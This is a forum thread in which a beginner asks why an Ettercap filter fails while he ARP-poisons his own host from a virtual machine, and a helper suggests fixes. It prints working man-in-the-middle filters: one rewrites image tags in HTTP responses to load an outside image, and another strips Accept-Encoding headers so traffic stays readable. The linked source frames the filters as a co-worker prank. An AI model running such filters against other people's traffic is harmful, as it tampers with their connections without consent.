Ettercap filters

[myhat]

Noob here.

Been trying to run some ettercap filters through my virtual machine while ARP-poisoning my host computer. 

[myhat]

Here is the filter I'm using: 

if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://www.cranklin.com/mickey.png\" ");
replace("IMG SRC=", "img src=\"http://www.cranklin.com/mickey.png\" ");
msg("Filter Ran.\n");
}

Everything seems to be working fine and no errors are popping up but when I go onto the internet on my host computer nothing seems to change.

[myhat]

Followed the instructions on this site perfectly: https://cranklin.wordpress.com/2011/10/13/prank-hacking-your-co-workers-for-fun-2/

[i8igmac]

all your traffic is gzip encoded, your filter must first prevent this so plain text traffic is visible to ettetcap.

 

https://www.irongeek.com/i.php?page=security/ettercapfilter

[myhat]

Thank you for the response but if you're referring to including this line of code 

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
	  # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }

I got the same results. Perhaps I should include more details. I'm running Kali, My ettercap is version 0.8.2, ip_forwarding is set to 1 and ettercap, when I run this code, tells me the filter has run however, no changes occur to the target computer. Any ideas on what the problem could be?

[i8igmac]

If the traffic is encrypted with ssl or hsts it wont work.

 

Try using internet explorer and try multiple websites that are not encrypted.

 

Ip forwarding like this?

 echo 1 > /proc/sys/net/ipv4/ip_forward

Edited July 23, 2017 by i8igmac

[myhat]

Yeah, tried it on multiple http websites and with internet explorer. I used nano /proc/sys/net/ipv4/ip_forward and changed it manually but that doesn't make a difference. Thanks again for the response though